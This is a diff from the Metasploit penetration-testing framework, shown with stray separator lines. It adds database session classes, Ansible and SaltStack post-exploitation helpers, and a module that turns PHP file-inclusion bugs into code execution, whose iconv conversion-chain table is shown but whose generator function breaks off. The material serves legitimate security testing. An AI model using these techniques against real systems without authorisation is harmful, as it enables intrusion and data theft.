print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
self.execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
'mssql'
|
||||
end
|
||||
|
||||
def self.can_cleanup_files
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the session description.
|
||||
#
|
||||
def desc
|
||||
'MSSQL'
|
||||
end
|
||||
|
||||
def address
|
||||
return @address if @address
|
||||
|
||||
@address, @port = client.sock.peerinfo.split(':')
|
||||
@address
|
||||
end
|
||||
|
||||
def port
|
||||
return @port if @port
|
||||
|
||||
@address, @port = client.sock.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
def init_ui(input, output)
|
||||
self.user_input = input
|
||||
self.user_output = output
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(log_source)
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) do
|
||||
_interact_stream
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
# Call the console interaction of the MSSQL client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise EOFError if (console.stopped? == true)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,136 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/mysql'
|
||||
|
||||
class Msf::Sessions::MySQL
|
||||
|
||||
# This interface supports basic interaction.
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return [Rex::Post::MySQL::Ui::Console] The interactive console
|
||||
attr_accessor :console
|
||||
# @return [MySQL::Client]
|
||||
attr_accessor :client
|
||||
attr_accessor :platform, :arch
|
||||
|
||||
# @param[Rex::IO::Stream] rstream
|
||||
# @param [Hash] opts
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
self.console = ::Rex::Post::MySQL::Ui::Console.new(self)
|
||||
super(rstream, opts)
|
||||
end
|
||||
|
||||
# @param [Hash] datastore
|
||||
# @param [nil] handler
|
||||
# @return [String]
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
session = self
|
||||
session.init_ui(user_input, user_output)
|
||||
|
||||
@info = "MySQL #{datastore['USERNAME']} @ #{client.socket.peerinfo}"
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String]
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
# @return [String] The type of the session
|
||||
def self.type
|
||||
'mysql'
|
||||
end
|
||||
|
||||
# @return [Boolean] Can the session clean up after itself
|
||||
def self.can_cleanup_files
|
||||
false
|
||||
end
|
||||
|
||||
# @return [String] The session description
|
||||
def desc
|
||||
'MySQL'
|
||||
end
|
||||
|
||||
# @return [Object] The peer address
|
||||
def address
|
||||
return @address if @address
|
||||
|
||||
@address, @port = @client.socket.peerinfo.split(':')
|
||||
@address
|
||||
end
|
||||
|
||||
# @return [Object] The peer host
|
||||
def port
|
||||
return @port if @port
|
||||
|
||||
@address, @port = @client.socket.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
# @param [Object] input
|
||||
# @param [Object] output
|
||||
# @return [String]
|
||||
def init_ui(input, output)
|
||||
super(input, output)
|
||||
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(log_source)
|
||||
end
|
||||
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
# @return [Object]
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
|
||||
# Exit the console
|
||||
#
|
||||
# @return [TrueClass]
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
#
|
||||
# @return [Object]
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) { _interact_stream }
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
# Call the console interaction of the mysql client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise ::EOFError if (console.stopped? == true)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,147 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/postgresql'
|
||||
|
||||
class Msf::Sessions::PostgreSQL
|
||||
#
|
||||
# This interface supports basic interaction.
|
||||
#
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return [Rex::Post::PostgreSQL::Ui::Console] The interactive console
|
||||
attr_accessor :console
|
||||
# @return [PostgreSQL::Client]
|
||||
attr_accessor :client
|
||||
attr_accessor :platform, :arch
|
||||
|
||||
# @param[Rex::IO::Stream] rstream
|
||||
# @param [Hash] opts
|
||||
# @param opts [PostgreSQL::Client] :client
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
@console = ::Rex::Post::PostgreSQL::Ui::Console.new(self)
|
||||
super(rstream, opts)
|
||||
end
|
||||
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
session = self
|
||||
session.init_ui(user_input, user_output)
|
||||
|
||||
@info = "PostgreSQL #{datastore['USERNAME']} @ #{@peer_info}"
|
||||
end
|
||||
|
||||
def execute_file(full_path, args)
|
||||
if File.extname(full_path) == '.rb'
|
||||
Rex::Script::Shell.new(self, full_path).run(args)
|
||||
else
|
||||
console.load_resource(full_path)
|
||||
end
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
self.execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
#
|
||||
# @return [String] The type of the session
|
||||
#
|
||||
def self.type
|
||||
'postgresql'
|
||||
end
|
||||
|
||||
#
|
||||
# @return [Boolean] Can the session clean up after itself
|
||||
def self.can_cleanup_files
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# @return [String] The session description
|
||||
#
|
||||
def desc
|
||||
'PostgreSQL'
|
||||
end
|
||||
|
||||
def address
|
||||
return @address if @address
|
||||
|
||||
@address, @port = @client.conn.peerinfo.split(':')
|
||||
@address
|
||||
end
|
||||
|
||||
def port
|
||||
return @port if @port
|
||||
|
||||
@address, @port = @client.conn.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
def init_ui(input, output)
|
||||
super(input, output)
|
||||
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(self.log_source)
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) { _interact_stream }
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
|
||||
# Call the console interaction of the PostgreSQL client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise ::EOFError if (console.stopped? == true)
|
||||
end
|
||||
end
|
||||
@@ -57,7 +57,7 @@ class Msf::Sessions::SMB
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
'SMB'
|
||||
'smb'
|
||||
end
|
||||
|
||||
def self.can_cleanup_files
|
||||
|
||||
@@ -82,7 +82,7 @@ module Exploit
|
||||
exploit.options.validate(exploit.datastore)
|
||||
|
||||
# Start it up
|
||||
driver = ExploitDriver.new(exploit.framework)
|
||||
driver = Msf::ExploitDriver.new(exploit.framework)
|
||||
|
||||
# Keep the handler of driver running if exploiting multiple targets.
|
||||
driver.keep_handler = true if opts['multi']
|
||||
|
||||
@@ -6,6 +6,7 @@ module Msf
|
||||
module ModulePaths
|
||||
|
||||
attr_accessor :configured_module_paths
|
||||
attr_accessor :module_paths_inited
|
||||
|
||||
# Initialize the module paths
|
||||
#
|
||||
@@ -43,8 +44,7 @@ module Msf
|
||||
end
|
||||
|
||||
# Remove any duplicate paths
|
||||
@configured_module_paths.uniq
|
||||
|
||||
@configured_module_paths.uniq!
|
||||
# return early if we're deferring module loading
|
||||
return if opts.delete(:defer_module_loads)
|
||||
|
||||
|
||||
@@ -57,6 +57,10 @@ def run
|
||||
@show_progress = datastore['ShowProgress']
|
||||
@show_percent = datastore['ShowProgressPercent'].to_i
|
||||
|
||||
if self.respond_to?(:session) && session
|
||||
datastore['RHOSTS'] = session.address
|
||||
end
|
||||
|
||||
rhosts_walker = Msf::RhostsWalker.new(self.datastore['RHOSTS'], self.datastore).to_enum
|
||||
@range_count = rhosts_walker.count || 0
|
||||
@range_done = 0
|
||||
@@ -358,4 +362,3 @@ end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -140,7 +140,7 @@ class EncodedPayload
|
||||
# as the framework's list of encoder names so we can compare them later.
|
||||
# This is important for when we get input from RPC.
|
||||
if reqs['Encoder']
|
||||
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding)
|
||||
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.module_refnames[0].encoding)
|
||||
end
|
||||
|
||||
# If the caller had a preferred encoder, use this encoder only
|
||||
@@ -237,9 +237,9 @@ class EncodedPayload
|
||||
|
||||
begin
|
||||
eout = self.encoder.encode(eout, reqs['BadChars'], nil, pinst.platform)
|
||||
rescue EncodingError
|
||||
wlog("#{err_start}: Encoder #{encoder.refname} failed: #{$!}", 'core', LEV_1)
|
||||
dlog("#{err_start}: Call stack\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
rescue EncodingError => e
|
||||
wlog("#{err_start}: Encoder #{encoder.refname} failed: #{e}", 'core', LEV_1)
|
||||
dlog("#{err_start}: Call stack\n#{e.backtrace}", 'core', LEV_3)
|
||||
next_encoder = true
|
||||
break
|
||||
|
||||
|
||||
@@ -129,19 +129,23 @@ class Encoder < Module
|
||||
#
|
||||
# perl encoding.
|
||||
#
|
||||
CmdUnixPerl = 'perl'
|
||||
CmdPosixPerl = 'perl'
|
||||
#
|
||||
# Bourne shell echo encoding.
|
||||
#
|
||||
CmdUnixEcho = 'echo'
|
||||
CmdPosixEcho = 'echo'
|
||||
#
|
||||
# Bourne shell ${IFS} encoding.
|
||||
#
|
||||
CmdUnixIFS = 'ifs'
|
||||
CmdPosixIFS = 'ifs'
|
||||
#
|
||||
# Bash brace expansion encoding.
|
||||
#
|
||||
CmdUnixBrace = 'brace'
|
||||
CmdPosixBrace = 'brace'
|
||||
#
|
||||
# Base64 encoding.
|
||||
#
|
||||
CmdPosixBase64 = 'base64'
|
||||
end
|
||||
|
||||
#
|
||||
@@ -266,7 +270,7 @@ class Encoder < Module
|
||||
# If this encoder is key-based and we don't already have a key, find one
|
||||
if ((decoder_key_size) and
|
||||
(state.key == nil))
|
||||
# Find a key that doesn't contain and wont generate any bad
|
||||
# Find a key that doesn't contain and won't generate any bad
|
||||
# characters
|
||||
state.init_key(obtain_key(buf, badchars, state))
|
||||
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Local::Ansible
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options([
|
||||
Msf::OptString.new('ANSIBLE', [false, 'Ansible executable location', '']),
|
||||
Msf::OptString.new('ANSIBLEPLAYBOOK', [false, 'Ansible-playbook executable location', '']),
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Uses the ansible command to ping hosts, returns an array of hashes
|
||||
#
|
||||
# @param ansible_exe [String] The name location of the ansible executable
|
||||
# @param hosts [String] The host string to use, defaults to 'all'
|
||||
# @return [Array, nil] containing a hash for each host. Each has consists of the
|
||||
# following parameters: host, status, ping, changed.
|
||||
# nil on error.
|
||||
#
|
||||
def ping_hosts(hosts = 'all')
|
||||
results = cmd_exec("#{ansible_exe} #{hosts} -m ping -o")
|
||||
# here's a regex with test: https://rubular.com/r/FMHhWx8QlVnidA
|
||||
regex = /(\S+)\s+\|\s+([A-Z]+)\s+=>\s+({.+})$/
|
||||
matches = results.scan(regex)
|
||||
|
||||
hosts = []
|
||||
matches.each do |match|
|
||||
match[2] = JSON.parse(match[2])
|
||||
hosts << { 'host' => match[0], 'status' => match[1], 'ping' => match[2]['ping'], 'changed' => match[2]['changed'] }
|
||||
rescue JSON::ParserError
|
||||
return nil
|
||||
end
|
||||
hosts
|
||||
end
|
||||
|
||||
#
|
||||
# Attempts to find the ansible-playbook executable. Verifies the
|
||||
# executable is executable by the user as well. Defaults to looking in
|
||||
# standard locations for Ubuntu and Docker:
|
||||
# ('/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook')
|
||||
#
|
||||
# @param suggestion [String] The location of the ansible-playbook executable if
|
||||
# not in a standard location
|
||||
# @return [String, nil] The executable location or nil if not found
|
||||
#
|
||||
def ansible_playbook_exe(suggestion = datastore['ANSIBLEPLAYBOOK'])
|
||||
return @ansible_playbook if @ansible_playbook
|
||||
|
||||
[suggestion, '/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook'].each do |exec|
|
||||
next if exec.blank?
|
||||
next unless executable?(exec)
|
||||
|
||||
@ansible_playbook = exec
|
||||
return @ansible_playbook
|
||||
end
|
||||
@ansible_playbook
|
||||
end
|
||||
|
||||
#
|
||||
# Attempts to find the ansible executable. Verifies the
|
||||
# executable is executable by the user as well. Defaults to looking in
|
||||
# standard locations for Ubuntu and Docker:
|
||||
# ('/usr/local/bin/ansible')
|
||||
#
|
||||
# @param suggestion [String] The location of the ansible executable if
|
||||
# not in a standard location
|
||||
# @return [String, nil] The executable location or nil if not found
|
||||
#
|
||||
def ansible_exe(suggestion = datastore['ANSIBLE'])
|
||||
return @ansible if @ansible
|
||||
|
||||
[suggestion, '/usr/local/bin/ansible'].each do |exec|
|
||||
next if exec.blank?
|
||||
next unless executable?(exec)
|
||||
|
||||
@ansible = exec
|
||||
return @ansible
|
||||
end
|
||||
@ansible
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,33 @@
|
||||
require 'yaml'
|
||||
|
||||
module Msf
|
||||
module Exploit::Local::Saltstack
|
||||
#
|
||||
# lists minions using the salt-key command.
|
||||
#
|
||||
# @param salt_key_exe [String] The name location of the salt-key executable
|
||||
# @return [YAML] YAML document with the minions listed
|
||||
#
|
||||
def list_minions(salt_key_exe = 'salt-key')
|
||||
# pull minions from a master, returns hash of lists of the output
|
||||
print_status('Attempting to list minions')
|
||||
unless command_exists?(salt_key_exe)
|
||||
print_error('salt-key not present on system')
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT'])
|
||||
vprint_status(out)
|
||||
minions = YAML.safe_load(out)
|
||||
rescue Psych::SyntaxError
|
||||
print_error('Unable to load salt-key -L data')
|
||||
return
|
||||
end
|
||||
|
||||
store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list')
|
||||
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
|
||||
minions
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -48,9 +48,8 @@ module Msf
|
||||
# @return [void]
|
||||
def init_exploits
|
||||
# First we're going to avoid using #find_all because that gets very slow.
|
||||
framework.exploits.each_pair do |fullname, place_holder|
|
||||
# If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
|
||||
# and that's gotta be the active browser autopwn.
|
||||
framework.exploits.module_refnames.each do |fullname|
|
||||
|
||||
next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
|
||||
|
||||
# The user gets to specify which modules to include/exclude
|
||||
@@ -269,7 +268,7 @@ module Msf
|
||||
|
||||
# The payload is legit, we can use it.
|
||||
# Avoid #create seems faster
|
||||
return payload_name if framework.payloads.keys.include?(payload_name)
|
||||
return payload_name if framework.payloads.module_refnames.include?(payload_name)
|
||||
|
||||
default = DEFAULT_PAYLOADS[platform][:payload]
|
||||
|
||||
|
||||
@@ -183,7 +183,7 @@ module Enumeration
|
||||
end
|
||||
|
||||
def dns_get_ptr(ip)
|
||||
resp = dns_query(ip, nil)
|
||||
resp = dns_query(ip, 'PTR')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
@@ -227,7 +227,7 @@ module Enumeration
|
||||
srv_record_types.each do |srv_record_type|
|
||||
srv_protos.each do |srv_proto|
|
||||
srv_record = "_#{srv_record_type}._#{srv_proto}.#{domain}"
|
||||
resp = dns_query(srv_record, Net::DNS::SRV)
|
||||
resp = dns_query(srv_record, 'SRV')
|
||||
next if resp.blank? || resp.answer.blank?
|
||||
srv_record_data = []
|
||||
resp.answer.each do |r|
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
module PhpFilterChain
|
||||
|
||||
# This module can be used to generate PHP Filter Chains which can be used to gain RCE through an LFI.
|
||||
#
|
||||
# There are many different types of character encodings. You can use [convert.iconv.*](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv)
|
||||
# in PHP in order to convert from one encoding to another.
|
||||
#
|
||||
# Some encodings have a byte or sequence of bytes prepended to the string as a signature. By carefully chaining
|
||||
# together specific encoding conversions, we can control the bytes that get prepended to the string.
|
||||
#
|
||||
# An example of when this can be used is when you control the input to a "require" or an "include" statement in PHP.
|
||||
# PHP lets you specify the file name as "resource=php://temp" so you don't actually need to know the a file on
|
||||
# the system and then you can build a payload with filter chains which will then be executed by the "require".
|
||||
# Ex: require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<redacted>|resource=php://temp"
|
||||
# More info: https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it
|
||||
def initialize(info = {})
|
||||
super
|
||||
end
|
||||
|
||||
CONVERSIONS = {
|
||||
"0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
|
||||
"1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
|
||||
"2" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
|
||||
"3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
|
||||
"4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
|
||||
"5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
|
||||
"6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
|
||||
"7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
|
||||
"8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
|
||||
"9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
|
||||
"A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
|
||||
"a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
|
||||
"B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
|
||||
"b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
|
||||
"C" => "convert.iconv.UTF8.CSISO2022KR",
|
||||
"c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
|
||||
"D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
|
||||
"d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
|
||||
"E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
|
||||
"e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
|
||||
"F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
|
||||
"f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
|
||||
"g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
|
||||
"G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
|
||||
"H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
|
||||
"h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
|
||||
"I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
|
||||
"i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
|
||||
"J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
|
||||
"j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
|
||||
"K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
|
||||
"k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
|
||||
"L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
|
||||
"l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
|
||||
"M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
|
||||
"m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
|
||||
"N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
|
||||
"n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
|
||||
"O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
|
||||
"o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
|
||||
"P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
|
||||
"p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
|
||||
"q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
|
||||
"Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
|
||||
"R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
|
||||
"r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
|
||||
"S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
|
||||
"s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
|
||||
"T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
|
||||
"t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
|
||||
"U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
|
||||
"u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
|
||||
"V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
|
||||
"v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
|
||||
"W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
|
||||
"w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
|
||||
"X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
|
||||
"x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
|
||||
"Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
|
||||
"y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
|
||||
"Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
|
||||
"z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
|
||||
"/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
|
||||
"+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
|
||||
"=" => "", # since `=` is only used as trailing padding, it can safely be ignored.
|
||||
}
|
||||
|
||||
def generate_php_filter_payload(command)
|
||||
